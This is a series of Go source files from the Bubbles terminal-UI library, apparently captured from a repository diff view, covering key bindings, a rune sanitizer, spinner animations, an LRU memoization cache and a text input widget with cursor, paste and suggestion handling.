// Binding describes a set of keybindings and, optionally, their associated
// help text.
type Binding struct {
keys []string
help Help
disabled bool
}
// BindingOpt is an initialization option for a keybinding. It's used as an
// argument to NewBinding.
type BindingOpt func(*Binding)
// NewBinding returns a new keybinding from a set of BindingOpt options.
func NewBinding(opts ...BindingOpt) Binding {
b := &Binding{}
for _, opt := range opts {
opt(b)
}
return *b
}
// WithKeys initializes a keybinding with the given keystrokes.
func WithKeys(keys ...string) BindingOpt {
return func(b *Binding) {
b.keys = keys
}
}
// WithHelp initializes a keybinding with the given help text.
func WithHelp(key, desc string) BindingOpt {
return func(b *Binding) {
b.help = Help{Key: key, Desc: desc}
}
}
// WithDisabled initializes a disabled keybinding.
func WithDisabled() BindingOpt {
return func(b *Binding) {
b.disabled = true
}
}
// SetKeys sets the keys for the keybinding.
func (b *Binding) SetKeys(keys ...string) {
b.keys = keys
}
// Keys returns the keys for the keybinding.
func (b Binding) Keys() []string {
return b.keys
}
// SetHelp sets the help text for the keybinding.
func (b *Binding) SetHelp(key, desc string) {
b.help = Help{Key: key, Desc: desc}
}
// Help returns the Help information for the keybinding.
func (b Binding) Help() Help {
return b.help
}
// Enabled returns whether or not the keybinding is enabled. Disabled
// keybindings won't be activated and won't show up in help. Keybindings are
// enabled by default.
func (b Binding) Enabled() bool {
return !b.disabled && b.keys != nil
}
// SetEnabled enables or disables the keybinding.
func (b *Binding) SetEnabled(v bool) {
b.disabled = !v
}
// Unbind removes the keys and help from this binding, effectively nullifying
// it. This is a step beyond disabling it, since applications can enable
// or disable key bindings based on application state.
func (b *Binding) Unbind() {
b.keys = nil
b.help = Help{}
}
// Help is help information for a given keybinding.
type Help struct {
Key string
Desc string
}
// Matches checks if the given key matches the given bindings.
func Matches[Key fmt.Stringer](k Key, b ...Binding) bool {
keys := k.String()
for _, binding := range b {
for _, v := range binding.keys {
if keys == v && binding.Enabled() {
return true
}
}
}
return false
}
+102
View File
@@ -0,0 +1,102 @@
// Package runeutil provides a utility function for use in Bubbles
// that can process Key messages containing runes.
package runeutil
import (
"unicode"
"unicode/utf8"
)
// Sanitizer is a helper for bubble widgets that want to process
// Runes from input key messages.
type Sanitizer interface {
// Sanitize removes control characters from runes in a KeyRunes
// message, and optionally replaces newline/carriage return/tabs by a
// specified character.
//
// The rune array is modified in-place if possible. In that case, the
// returned slice is the original slice shortened after the control
// characters have been removed/translated.
Sanitize(runes []rune) []rune
}
// NewSanitizer constructs a rune sanitizer.
func NewSanitizer(opts ...Option) Sanitizer {
s := sanitizer{
replaceNewLine: []rune("\n"),
replaceTab: []rune(" "),
}
for _, o := range opts {
s = o(s)
}
return &s
}
// Option is the type of option that can be passed to Sanitize().
type Option func(sanitizer) sanitizer
// ReplaceTabs replaces tabs by the specified string.
func ReplaceTabs(tabRepl string) Option {
return func(s sanitizer) sanitizer {
s.replaceTab = []rune(tabRepl)
return s
}
}
// ReplaceNewlines replaces newline characters by the specified string.
func ReplaceNewlines(nlRepl string) Option {
return func(s sanitizer) sanitizer {
s.replaceNewLine = []rune(nlRepl)
return s
}
}
func (s *sanitizer) Sanitize(runes []rune) []rune {
// dstrunes are where we are storing the result.
dstrunes := runes[:0:len(runes)]
// copied indicates whether dstrunes is an alias of runes
// or a copy. We need a copy when dst moves past src.
// We use this as an optimization to avoid allocating
// a new rune slice in the common case where the output
// is smaller or equal to the input.
copied := false
for src := 0; src < len(runes); src++ {
r := runes[src]
switch {
case r == utf8.RuneError:
// skip
case r == '\r' || r == '\n':
if len(dstrunes)+len(s.replaceNewLine) > src && !copied {
dst := len(dstrunes)
dstrunes = make([]rune, dst, len(runes)+len(s.replaceNewLine))
copy(dstrunes, runes[:dst])
copied = true
}
dstrunes = append(dstrunes, s.replaceNewLine...)
case r == '\t':
if len(dstrunes)+len(s.replaceTab) > src && !copied {
dst := len(dstrunes)
dstrunes = make([]rune, dst, len(runes)+len(s.replaceTab))
copy(dstrunes, runes[:dst])
copied = true
}
dstrunes = append(dstrunes, s.replaceTab...)
case unicode.IsControl(r):
// Other control characters: skip.
default:
// Keep the character.
dstrunes = append(dstrunes, runes[src])
}
}
return dstrunes
}
type sanitizer struct {
replaceNewLine []rune
replaceTab []rune
}
+224
View File
@@ -0,0 +1,224 @@
// Package spinner provides a spinner component for Bubble Tea applications.
package spinner
import (
"sync/atomic"
"time"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
)
// Internal ID management. Used during animating to ensure that frame messages
// are received only by spinner components that sent them.
var lastID int64
func nextID() int {
return int(atomic.AddInt64(&lastID, 1))
}
// Spinner is a set of frames used in animating the spinner.
type Spinner struct {
Frames []string
FPS time.Duration
}
// Some spinners to choose from. You could also make your own.
var (
Line = Spinner{
Frames: []string{"|", "/", "-", "\\"},
FPS: time.Second / 10, //nolint:mnd
}
Dot = Spinner{
Frames: []string{"⣾ ", "⣽ ", "⣻ ", "⢿ ", "⡿ ", "⣟ ", "⣯ ", "⣷ "},
FPS: time.Second / 10, //nolint:mnd
}
MiniDot = Spinner{
Frames: []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"},
FPS: time.Second / 12, //nolint:mnd
}
Jump = Spinner{
Frames: []string{"⢄", "⢂", "⢁", "⡁", "⡈", "⡐", "⡠"},
FPS: time.Second / 10, //nolint:mnd
}
Pulse = Spinner{
Frames: []string{"█", "▓", "▒", "░"},
FPS: time.Second / 8, //nolint:mnd
}
Points = Spinner{
Frames: []string{"∙∙∙", "●∙∙", "∙●∙", "∙∙●"},
FPS: time.Second / 7, //nolint:mnd
}
Globe = Spinner{
Frames: []string{"🌍", "🌎", "🌏"},
FPS: time.Second / 4, //nolint:mnd
}
Moon = Spinner{
Frames: []string{"🌑", "🌒", "🌓", "🌔", "🌕", "🌖", "🌗", "🌘"},
FPS: time.Second / 8, //nolint:mnd
}
Monkey = Spinner{
Frames: []string{"🙈", "🙉", "🙊"},
FPS: time.Second / 3, //nolint:mnd
}
Meter = Spinner{
Frames: []string{
"▱▱▱",
"▰▱▱",
"▰▰▱",
"▰▰▰",
"▰▰▱",
"▰▱▱",
"▱▱▱",
},
FPS: time.Second / 7, //nolint:mnd
}
Hamburger = Spinner{
Frames: []string{"☱", "☲", "☴", "☲"},
FPS: time.Second / 3, //nolint:mnd
}
Ellipsis = Spinner{
Frames: []string{"", ".", "..", "..."},
FPS: time.Second / 3, //nolint:mnd
}
)
// Model contains the state for the spinner. Use New to create new models
// rather than using Model as a struct literal.
type Model struct {
// Spinner settings to use. See type Spinner.
Spinner Spinner
// Style sets the styling for the spinner. Most of the time you'll just
// want foreground and background coloring, and potentially some padding.
//
// For an introduction to styling with Lip Gloss see:
// https://github.com/charmbracelet/lipgloss
Style lipgloss.Style
frame int
id int
tag int
}
// ID returns the spinner's unique ID.
func (m Model) ID() int {
return m.id
}
// New returns a model with default values.
func New(opts ...Option) Model {
m := Model{
Spinner: Line,
id: nextID(),
}
for _, opt := range opts {
opt(&m)
}
return m
}
// NewModel returns a model with default values.
//
// Deprecated: use [New] instead.
var NewModel = New
// TickMsg indicates that the timer has ticked and we should render a frame.
type TickMsg struct {
Time time.Time
tag int
ID int
}
// Update is the Tea update function.
func (m Model) Update(msg tea.Msg) (Model, tea.Cmd) {
switch msg := msg.(type) {
case TickMsg:
// If an ID is set, and the ID doesn't belong to this spinner, reject
// the message.
if msg.ID > 0 && msg.ID != m.id {
return m, nil
}
// If a tag is set, and it's not the one we expect, reject the message.
// This prevents the spinner from receiving too many messages and
// thus spinning too fast.
if msg.tag > 0 && msg.tag != m.tag {
return m, nil
}
m.frame++
if m.frame >= len(m.Spinner.Frames) {
m.frame = 0
}
m.tag++
return m, m.tick(m.id, m.tag)
default:
return m, nil
}
}
// View renders the model's view.
func (m Model) View() string {
if m.frame >= len(m.Spinner.Frames) {
return "(error)"
}
return m.Style.Render(m.Spinner.Frames[m.frame])
}
// Tick is the command used to advance the spinner one frame. Use this command
// to effectively start the spinner.
func (m Model) Tick() tea.Msg {
return TickMsg{
// The time at which the tick occurred.
Time: time.Now(),
// The ID of the spinner that this message belongs to. This can be
// helpful when routing messages, however bear in mind that spinners
// will ignore messages that don't contain ID by default.
ID: m.id,
tag: m.tag,
}
}
func (m Model) tick(id, tag int) tea.Cmd {
return tea.Tick(m.Spinner.FPS, func(t time.Time) tea.Msg {
return TickMsg{
Time: t,
ID: id,
tag: tag,
}
})
}
// Tick is the command used to advance the spinner one frame. Use this command
// to effectively start the spinner.
//
// Deprecated: Use [Model.Tick] instead.
func Tick() tea.Msg {
return TickMsg{Time: time.Now()}
}
// Option is used to set options in New. For example:
//
// spinner := New(WithSpinner(Dot))
type Option func(*Model)
// WithSpinner is an option to set the spinner.
func WithSpinner(spinner Spinner) Option {
return func(m *Model) {
m.Spinner = spinner
}
}
// WithStyle is an option to set the spinner style.
func WithStyle(style lipgloss.Style) Option {
return func(m *Model) {
m.Style = style
}
}
@@ -0,0 +1,125 @@
// Package memoization is an internal package that provides a simple memoization
// for text area.
package memoization
import (
"container/list"
"crypto/sha256"
"fmt"
"sync"
)
// Hasher is an interface that requires a Hash method. The Hash method is
// expected to return a string representation of the hash of the object.
type Hasher interface {
Hash() string
}
// entry is a struct that holds a key-value pair. It is used as an element
// in the evictionList of the MemoCache.
type entry[T any] struct {
key string
value T
}
// MemoCache is a struct that represents a cache with a set capacity. It
// uses an LRU (Least Recently Used) eviction policy. It is safe for
// concurrent use.
type MemoCache[H Hasher, T any] struct {
capacity int
mutex sync.Mutex
cache map[string]*list.Element // The cache holding the results
evictionList *list.List // A list to keep track of the order for LRU
hashableItems map[string]T // This map keeps track of the original hashable items (optional)
}
// NewMemoCache is a function that creates a new MemoCache with a given
// capacity. It returns a pointer to the created MemoCache.
func NewMemoCache[H Hasher, T any](capacity int) *MemoCache[H, T] {
return &MemoCache[H, T]{
capacity: capacity,
cache: make(map[string]*list.Element),
evictionList: list.New(),
hashableItems: make(map[string]T),
}
}
// Capacity is a method that returns the capacity of the MemoCache.
func (m *MemoCache[H, T]) Capacity() int {
return m.capacity
}
// Size is a method that returns the current size of the MemoCache. It is
// the number of items currently stored in the cache.
func (m *MemoCache[H, T]) Size() int {
m.mutex.Lock()
defer m.mutex.Unlock()
return m.evictionList.Len()
}
// Get is a method that returns the value associated with the given
// hashable item in the MemoCache. If there is no corresponding value, the
// method returns nil.
func (m *MemoCache[H, T]) Get(h H) (T, bool) {
m.mutex.Lock()
defer m.mutex.Unlock()
hashedKey := h.Hash()
if element, found := m.cache[hashedKey]; found {
m.evictionList.MoveToFront(element)
return element.Value.(*entry[T]).value, true
}
var result T
return result, false
}
// Set is a method that sets the value for the given hashable item in the
// MemoCache. If the cache is at capacity, it evicts the least recently
// used item before adding the new item.
func (m *MemoCache[H, T]) Set(h H, value T) {
m.mutex.Lock()
defer m.mutex.Unlock()
hashedKey := h.Hash()
if element, found := m.cache[hashedKey]; found {
m.evictionList.MoveToFront(element)
element.Value.(*entry[T]).value = value
return
}
// Check if the cache is at capacity
if m.evictionList.Len() >= m.capacity {
// Evict the least recently used item from the cache
toEvict := m.evictionList.Back()
if toEvict != nil {
evictedEntry := m.evictionList.Remove(toEvict).(*entry[T])
delete(m.cache, evictedEntry.key)
delete(m.hashableItems, evictedEntry.key) // if you're keeping track of original items
}
}
// Add the value to the cache and the evictionList
newEntry := &entry[T]{
key: hashedKey,
value: value,
}
element := m.evictionList.PushFront(newEntry)
m.cache[hashedKey] = element
m.hashableItems[hashedKey] = value // if you're keeping track of original items
}
// HString is a type that implements the Hasher interface for strings.
type HString string
// Hash is a method that returns the hash of the string.
func (h HString) Hash() string {
return fmt.Sprintf("%x", sha256.Sum256([]byte(h)))
}
// HInt is a type that implements the Hasher interface for integers.
type HInt int
// Hash is a method that returns the hash of the integer.
func (h HInt) Hash() string {
return fmt.Sprintf("%x", sha256.Sum256([]byte(fmt.Sprintf("%d", h))))
}
File diff suppressed because it is too large. Load diff
+898
View File
@@ -0,0 +1,898 @@
// Package textinput provides a text input component for Bubble Tea
// applications.
package textinput
import (
"reflect"
"strings"
"time"
"unicode"
"github.com/atotto/clipboard"
"github.com/charmbracelet/bubbles/cursor"
"github.com/charmbracelet/bubbles/key"
"github.com/charmbracelet/bubbles/runeutil"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
rw "github.com/mattn/go-runewidth"
"github.com/rivo/uniseg"
)
// Internal messages for clipboard operations.
type (
pasteMsg string
pasteErrMsg struct{ error }
)
// EchoMode sets the input behavior of the text input field.
type EchoMode int
const (
// EchoNormal displays text as is. This is the default behavior.
EchoNormal EchoMode = iota
// EchoPassword displays the EchoCharacter mask instead of actual
// characters. This is commonly used for password fields.
EchoPassword
// EchoNone displays nothing as characters are entered. This is commonly
// seen for password fields on the command line.
EchoNone
)
// ValidateFunc is a function that returns an error if the input is invalid.
type ValidateFunc func(string) error
// KeyMap is the key bindings for different actions within the textinput.
type KeyMap struct {
CharacterForward key.Binding
CharacterBackward key.Binding
WordForward key.Binding
WordBackward key.Binding
DeleteWordBackward key.Binding
DeleteWordForward key.Binding
DeleteAfterCursor key.Binding
DeleteBeforeCursor key.Binding
DeleteCharacterBackward key.Binding
DeleteCharacterForward key.Binding
LineStart key.Binding
LineEnd key.Binding
Paste key.Binding
AcceptSuggestion key.Binding
NextSuggestion key.Binding
PrevSuggestion key.Binding
}
// DefaultKeyMap is the default set of key bindings for navigating and acting
// upon the textinput.
var DefaultKeyMap = KeyMap{
CharacterForward: key.NewBinding(key.WithKeys("right", "ctrl+f")),
CharacterBackward: key.NewBinding(key.WithKeys("left", "ctrl+b")),
WordForward: key.NewBinding(key.WithKeys("alt+right", "ctrl+right", "alt+f")),
WordBackward: key.NewBinding(key.WithKeys("alt+left", "ctrl+left", "alt+b")),
DeleteWordBackward: key.NewBinding(key.WithKeys("alt+backspace", "ctrl+w")),
DeleteWordForward: key.NewBinding(key.WithKeys("alt+delete", "alt+d")),
DeleteAfterCursor: key.NewBinding(key.WithKeys("ctrl+k")),
DeleteBeforeCursor: key.NewBinding(key.WithKeys("ctrl+u")),
DeleteCharacterBackward: key.NewBinding(key.WithKeys("backspace", "ctrl+h")),
DeleteCharacterForward: key.NewBinding(key.WithKeys("delete", "ctrl+d")),
LineStart: key.NewBinding(key.WithKeys("home", "ctrl+a")),
LineEnd: key.NewBinding(key.WithKeys("end", "ctrl+e")),
Paste: key.NewBinding(key.WithKeys("ctrl+v")),
AcceptSuggestion: key.NewBinding(key.WithKeys("tab")),
NextSuggestion: key.NewBinding(key.WithKeys("down", "ctrl+n")),
PrevSuggestion: key.NewBinding(key.WithKeys("up", "ctrl+p")),
}
// Model is the Bubble Tea model for this text input element.
type Model struct {
Err error
// General settings.
Prompt string
Placeholder string
EchoMode EchoMode
EchoCharacter rune
Cursor cursor.Model
// Deprecated: use [cursor.BlinkSpeed] instead.
BlinkSpeed time.Duration
// Styles. These will be applied as inline styles.
//
// For an introduction to styling with Lip Gloss see:
// https://github.com/charmbracelet/lipgloss
PromptStyle lipgloss.Style
TextStyle lipgloss.Style
PlaceholderStyle lipgloss.Style
CompletionStyle lipgloss.Style
// Deprecated: use Cursor.Style instead.
CursorStyle lipgloss.Style
// CharLimit is the maximum amount of characters this input element will
// accept. If 0 or less, there's no limit.
CharLimit int
// Width is the maximum number of characters that can be displayed at once.
// It essentially treats the text field like a horizontally scrolling
// viewport. If 0 or less this setting is ignored.
Width int
// KeyMap encodes the keybindings recognized by the widget.
KeyMap KeyMap
// Underlying text value.
value []rune
// focus indicates whether user input focus should be on this input
// component. When false, ignore keyboard input and hide the cursor.
focus bool
// Cursor position.
pos int
// Used to emulate a viewport when width is set and the content is
// overflowing.
offset int
offsetRight int
// Validate is a function that checks whether or not the text within the
// input is valid. If it is not valid, the `Err` field will be set to the
// error returned by the function. If the function is not defined, all
// input is considered valid.
Validate ValidateFunc
// rune sanitizer for input.
rsan runeutil.Sanitizer
// Should the input suggest to complete
ShowSuggestions bool
// suggestions is a list of suggestions that may be used to complete the
// input.
suggestions [][]rune
matchedSuggestions [][]rune
currentSuggestionIndex int
}
// New creates a new model with default settings.
func New() Model {
return Model{
Prompt: "> ",
EchoCharacter: '*',
CharLimit: 0,
PlaceholderStyle: lipgloss.NewStyle().Foreground(lipgloss.Color("240")),
ShowSuggestions: false,
CompletionStyle: lipgloss.NewStyle().Foreground(lipgloss.Color("240")),
Cursor: cursor.New(),
KeyMap: DefaultKeyMap,
suggestions: [][]rune{},
value: nil,
focus: false,
pos: 0,
}
}
// NewModel creates a new model with default settings.
//
// Deprecated: Use [New] instead.
var NewModel = New
// SetValue sets the value of the text input.
func (m *Model) SetValue(s string) {
// Clean up any special characters in the input provided by the
// caller. This avoids bugs due to e.g. tab characters and whatnot.
runes := m.san().Sanitize([]rune(s))
err := m.validate(runes)
m.setValueInternal(runes, err)
}
func (m *Model) setValueInternal(runes []rune, err error) {
m.Err = err
empty := len(m.value) == 0
if m.CharLimit > 0 && len(runes) > m.CharLimit {
m.value = runes[:m.CharLimit]
} else {
m.value = runes
}
if (m.pos == 0 && empty) || m.pos > len(m.value) {
m.SetCursor(len(m.value))
}
m.handleOverflow()
}
// Value returns the value of the text input.
func (m Model) Value() string {
return string(m.value)
}
// Position returns the cursor position.
func (m Model) Position() int {
return m.pos
}
// SetCursor moves the cursor to the given position. If the position is
// out of bounds the cursor will be moved to the start or end accordingly.
func (m *Model) SetCursor(pos int) {
m.pos = clamp(pos, 0, len(m.value))
m.handleOverflow()
}
// CursorStart moves the cursor to the start of the input field.
func (m *Model) CursorStart() {
m.SetCursor(0)
}
// CursorEnd moves the cursor to the end of the input field.
func (m *Model) CursorEnd() {
m.SetCursor(len(m.value))
}
// Focused returns the focus state on the model.
func (m Model) Focused() bool {
return m.focus
}
// Focus sets the focus state on the model. When the model is in focus it can
// receive keyboard input and the cursor will be shown.
func (m *Model) Focus() tea.Cmd {
m.focus = true
return m.Cursor.Focus()
}
// Blur removes the focus state on the model. When the model is blurred it can
// not receive keyboard input and the cursor will be hidden.
func (m *Model) Blur() {
m.focus = false
m.Cursor.Blur()
}
// Reset sets the input to its default state with no input.
func (m *Model) Reset() {
m.value = nil
m.SetCursor(0)
}
// SetSuggestions sets the suggestions for the input.
func (m *Model) SetSuggestions(suggestions []string) {
m.suggestions = make([][]rune, len(suggestions))
for i, s := range suggestions {
m.suggestions[i] = []rune(s)
}
m.updateSuggestions()
}
// rsan initializes or retrieves the rune sanitizer.
func (m *Model) san() runeutil.Sanitizer {
if m.rsan == nil {
// Textinput has all its input on a single line so collapse
// newlines/tabs to single spaces.
m.rsan = runeutil.NewSanitizer(
runeutil.ReplaceTabs(" "), runeutil.ReplaceNewlines(" "))
}
return m.rsan
}
func (m *Model) insertRunesFromUserInput(v []rune) {
// Clean up any special characters in the input provided by the
// clipboard. This avoids bugs due to e.g. tab characters and
// whatnot.
paste := m.san().Sanitize(v)
var availSpace int
if m.CharLimit > 0 {
availSpace = m.CharLimit - len(m.value)
// If the char limit's been reached, cancel.
if availSpace <= 0 {
return
}
// If there's not enough space to paste the whole thing cut the pasted
// runes down so they'll fit.
if availSpace < len(paste) {
paste = paste[:availSpace]
}
}
// Stuff before and after the cursor
head := m.value[:m.pos]
tailSrc := m.value[m.pos:]
tail := make([]rune, len(tailSrc))
copy(tail, tailSrc)
// Insert pasted runes
for _, r := range paste {
head = append(head, r)
m.pos++
if m.CharLimit > 0 {
availSpace--
if availSpace <= 0 {
break
}
}
}
// Put it all back together
value := append(head, tail...)
inputErr := m.validate(value)
m.setValueInternal(value, inputErr)
}
// If a max width is defined, perform some logic to treat the visible area
// as a horizontally scrolling viewport.
func (m *Model) handleOverflow() {
if m.Width <= 0 || uniseg.StringWidth(string(m.value)) <= m.Width {
m.offset = 0
m.offsetRight = len(m.value)
return
}
// Correct right offset if we've deleted characters
m.offsetRight = min(m.offsetRight, len(m.value))
if m.pos < m.offset {
m.offset = m.pos
w := 0
i := 0
runes := m.value[m.offset:]
for i < len(runes) && w <= m.Width {
w += rw.RuneWidth(runes[i])
if w <= m.Width+1 {
i++
}
}
m.offsetRight = m.offset + i
} else if m.pos >= m.offsetRight {
m.offsetRight = m.pos
w := 0
runes := m.value[:m.offsetRight]
i := len(runes) - 1
for i > 0 && w < m.Width {
w += rw.RuneWidth(runes[i])
if w <= m.Width {
i--
}
}
m.offset = m.offsetRight - (len(runes) - 1 - i)
}
}
// deleteBeforeCursor deletes all text before the cursor.
func (m *Model) deleteBeforeCursor() {
m.value = m.value[m.pos:]
m.Err = m.validate(m.value)
m.offset = 0
m.SetCursor(0)
}
// deleteAfterCursor deletes all text after the cursor. If input is masked
// delete everything after the cursor so as not to reveal word breaks in the
// masked input.
func (m *Model) deleteAfterCursor() {
m.value = m.value[:m.pos]
m.Err = m.validate(m.value)
m.SetCursor(len(m.value))
}
// deleteWordBackward deletes the word left to the cursor.
func (m *Model) deleteWordBackward() {
if m.pos == 0 || len(m.value) == 0 {
return
}
if m.EchoMode != EchoNormal {
m.deleteBeforeCursor()
return
}
// Linter note: it's critical that we acquire the initial cursor position
// here prior to altering it via SetCursor() below. As such, moving this
// call into the corresponding if clause does not apply here.
oldPos := m.pos
m.SetCursor(m.pos - 1)
for unicode.IsSpace(m.value[m.pos]) {
if m.pos <= 0 {
break
}
// ignore series of whitespace before cursor
m.SetCursor(m.pos - 1)
}
for m.pos > 0 {
if !unicode.IsSpace(m.value[m.pos]) {
m.SetCursor(m.pos - 1)
} else {
if m.pos > 0 {
// keep the previous space
m.SetCursor(m.pos + 1)
}
break
}
}
if oldPos > len(m.value) {
m.value = m.value[:m.pos]
} else {
m.value = append(m.value[:m.pos], m.value[oldPos:]...)
}
m.Err = m.validate(m.value)
}
// deleteWordForward deletes the word right to the cursor. If input is masked
// delete everything after the cursor so as not to reveal word breaks in the
// masked input.
func (m *Model) deleteWordForward() {
if m.pos >= len(m.value) || len(m.value) == 0 {
return
}
if m.EchoMode != EchoNormal {
m.deleteAfterCursor()
return
}
oldPos := m.pos
m.SetCursor(m.pos + 1)
for unicode.IsSpace(m.value[m.pos]) {
// ignore series of whitespace after cursor
m.SetCursor(m.pos + 1)
if m.pos >= len(m.value) {
break
}
}
for m.pos < len(m.value) {
if !unicode.IsSpace(m.value[m.pos]) {
m.SetCursor(m.pos + 1)
} else {
break
}
}
if m.pos > len(m.value) {
m.value = m.value[:oldPos]
} else {
m.value = append(m.value[:oldPos], m.value[m.pos:]...)
}
m.Err = m.validate(m.value)
m.SetCursor(oldPos)
}
// wordBackward moves the cursor one word to the left. If input is masked, move
// input to the start so as not to reveal word breaks in the masked input.
func (m *Model) wordBackward() {
if m.pos == 0 || len(m.value) == 0 {
return
}
if m.EchoMode != EchoNormal {
m.CursorStart()
return
}
i := m.pos - 1
for i >= 0 {
if unicode.IsSpace(m.value[i]) {
m.SetCursor(m.pos - 1)
i--
} else {
break
}
}
for i >= 0 {
if !unicode.IsSpace(m.value[i]) {
m.SetCursor(m.pos - 1)
i--
} else {
break
}
}
}
// wordForward moves the cursor one word to the right. If the input is masked,
// move input to the end so as not to reveal word breaks in the masked input.
func (m *Model) wordForward() {
if m.pos >= len(m.value) || len(m.value) == 0 {
return
}
if m.EchoMode != EchoNormal {
m.CursorEnd()
return
}
i := m.pos
for i < len(m.value) {
if unicode.IsSpace(m.value[i]) {
m.SetCursor(m.pos + 1)
i++
} else {
break
}
}
for i < len(m.value) {
if !unicode.IsSpace(m.value[i]) {
m.SetCursor(m.pos + 1)
i++
} else {
break
}
}
}
func (m Model) echoTransform(v string) string {
switch m.EchoMode {
case EchoPassword:
return strings.Repeat(string(m.EchoCharacter), uniseg.StringWidth(v))
case EchoNone:
return ""
case EchoNormal:
return v
default:
return v
}
}
// Update is the Bubble Tea update loop.
func (m Model) Update(msg tea.Msg) (Model, tea.Cmd) {
if !m.focus {
return m, nil
}
// Need to check for completion before, because key is configurable and might be double assigned
keyMsg, ok := msg.(tea.KeyMsg)
if ok && key.Matches(keyMsg, m.KeyMap.AcceptSuggestion) {
if m.canAcceptSuggestion() {
m.value = append(m.value, m.matchedSuggestions[m.currentSuggestionIndex][len(m.value):]...)
m.CursorEnd()
}
}
// Let's remember where the position of the cursor currently is so that if
// the cursor position changes, we can reset the blink.
oldPos := m.pos
switch msg := msg.(type) {
case tea.KeyMsg:
switch {
case key.Matches(msg, m.KeyMap.DeleteWordBackward):
m.deleteWordBackward()
case key.Matches(msg, m.KeyMap.DeleteCharacterBackward):
m.Err = nil
if len(m.value) > 0 {
m.value = append(m.value[:max(0, m.pos-1)], m.value[m.pos:]...)
m.Err = m.validate(m.value)
if m.pos > 0 {
m.SetCursor(m.pos - 1)
}
}
case key.Matches(msg, m.KeyMap.WordBackward):
m.wordBackward()
case key.Matches(msg, m.KeyMap.CharacterBackward):
if m.pos > 0 {
m.SetCursor(m.pos - 1)
}
case key.Matches(msg, m.KeyMap.WordForward):
m.wordForward()
case key.Matches(msg, m.KeyMap.CharacterForward):
if m.pos < len(m.value) {
m.SetCursor(m.pos + 1)
}
case key.Matches(msg, m.KeyMap.LineStart):
m.CursorStart()
case key.Matches(msg, m.KeyMap.DeleteCharacterForward):
if len(m.value) > 0 && m.pos < len(m.value) {
m.value = append(m.value[:m.pos], m.value[m.pos+1:]...)
m.Err = m.validate(m.value)
}
case key.Matches(msg, m.KeyMap.LineEnd):
m.CursorEnd()
case key.Matches(msg, m.KeyMap.DeleteAfterCursor):
m.deleteAfterCursor()
case key.Matches(msg, m.KeyMap.DeleteBeforeCursor):
m.deleteBeforeCursor()
case key.Matches(msg, m.KeyMap.Paste):
return m, Paste
case key.Matches(msg, m.KeyMap.DeleteWordForward):
m.deleteWordForward()
case key.Matches(msg, m.KeyMap.NextSuggestion):
m.nextSuggestion()
case key.Matches(msg, m.KeyMap.PrevSuggestion):
m.previousSuggestion()
default:
// Input one or more regular characters.
m.insertRunesFromUserInput(msg.Runes)
}
// Check again if can be completed
// because value might be something that does not match the completion prefix
m.updateSuggestions()
case pasteMsg:
m.insertRunesFromUserInput([]rune(msg))
case pasteErrMsg:
m.Err = msg
}
var cmds []tea.Cmd
var cmd tea.Cmd
m.Cursor, cmd = m.Cursor.Update(msg)
cmds = append(cmds, cmd)
if oldPos != m.pos && m.Cursor.Mode() == cursor.CursorBlink {
m.Cursor.Blink = false
cmds = append(cmds, m.Cursor.BlinkCmd())
}
m.handleOverflow()
return m, tea.Batch(cmds...)
}
// View renders the textinput in its current state.
func (m Model) View() string {
// Placeholder text
if len(m.value) == 0 && m.Placeholder != "" {
return m.placeholderView()
}
styleText := m.TextStyle.Inline(true).Render
value := m.value[m.offset:m.offsetRight]
pos := max(0, m.pos-m.offset)
v := styleText(m.echoTransform(string(value[:pos])))
if pos < len(value) { //nolint:nestif
char := m.echoTransform(string(value[pos]))
m.Cursor.SetChar(char)
v += m.Cursor.View() // cursor and text under it
v += styleText(m.echoTransform(string(value[pos+1:]))) // text after cursor
v += m.completionView(0) // suggested completion
} else {
if m.focus && m.canAcceptSuggestion() {
suggestion := m.matchedSuggestions[m.currentSuggestionIndex]
if len(value) < len(suggestion) {
m.Cursor.TextStyle = m.CompletionStyle
m.Cursor.SetChar(m.echoTransform(string(suggestion[pos])))
v += m.Cursor.View()
v += m.completionView(1)
} else {
m.Cursor.SetChar(" ")
v += m.Cursor.View()
}
} else {
m.Cursor.SetChar(" ")
v += m.Cursor.View()
}
}
// If a max width and background color were set fill the empty spaces with
// the background color.
valWidth := uniseg.StringWidth(string(value))
if m.Width > 0 && valWidth <= m.Width {
padding := max(0, m.Width-valWidth)
if valWidth+padding <= m.Width && pos < len(value) {
padding++
}
v += styleText(strings.Repeat(" ", padding))
}
return m.PromptStyle.Render(m.Prompt) + v
}
// placeholderView returns the prompt and placeholder view, if any.
func (m Model) placeholderView() string {
var (
v string
style = m.PlaceholderStyle.Inline(true).Render
)
p := make([]rune, m.Width+1)
copy(p, []rune(m.Placeholder))
m.Cursor.TextStyle = m.PlaceholderStyle
m.Cursor.SetChar(string(p[:1]))
v += m.Cursor.View()
// If the entire placeholder is already set and no padding is needed, finish
if m.Width < 1 && len(p) <= 1 {
return m.PromptStyle.Render(m.Prompt) + v
}
// If Width is set then size placeholder accordingly
if m.Width > 0 {
// available width is width - len + cursor offset of 1
minWidth := lipgloss.Width(m.Placeholder)
availWidth := m.Width - minWidth + 1
// if width < len, 'subtract'(add) number to len and dont add padding
if availWidth < 0 {
minWidth += availWidth
availWidth = 0
}
// append placeholder[len] - cursor, append padding
v += style(string(p[1:minWidth]))
v += style(strings.Repeat(" ", availWidth))
} else {
// if there is no width, the placeholder can be any length
v += style(string(p[1:]))
}
return m.PromptStyle.Render(m.Prompt) + v
}
// Blink is a command used to initialize cursor blinking.
func Blink() tea.Msg {
return cursor.Blink()
}
// Paste is a command for pasting from the clipboard into the text input.
func Paste() tea.Msg {
str, err := clipboard.ReadAll()
if err != nil {
return pasteErrMsg{err}
}
return pasteMsg(str)
}
func clamp(v, low, high int) int {
if high < low {
low, high = high, low
}
return min(high, max(low, v))
}
// Deprecated.
// Deprecated: use [cursor.Mode].
//
//nolint:revive
type CursorMode int
//nolint:revive
const (
// Deprecated: use [cursor.CursorBlink].
CursorBlink = CursorMode(cursor.CursorBlink)
// Deprecated: use [cursor.CursorStatic].
CursorStatic = CursorMode(cursor.CursorStatic)
// Deprecated: use [cursor.CursorHide].
CursorHide = CursorMode(cursor.CursorHide)
)
func (c CursorMode) String() string {
return cursor.Mode(c).String()
}
// Deprecated: use [cursor.Mode].
//
//nolint:revive
func (m Model) CursorMode() CursorMode {
return CursorMode(m.Cursor.Mode())
}
// Deprecated: use cursor.SetMode().
//
//nolint:revive
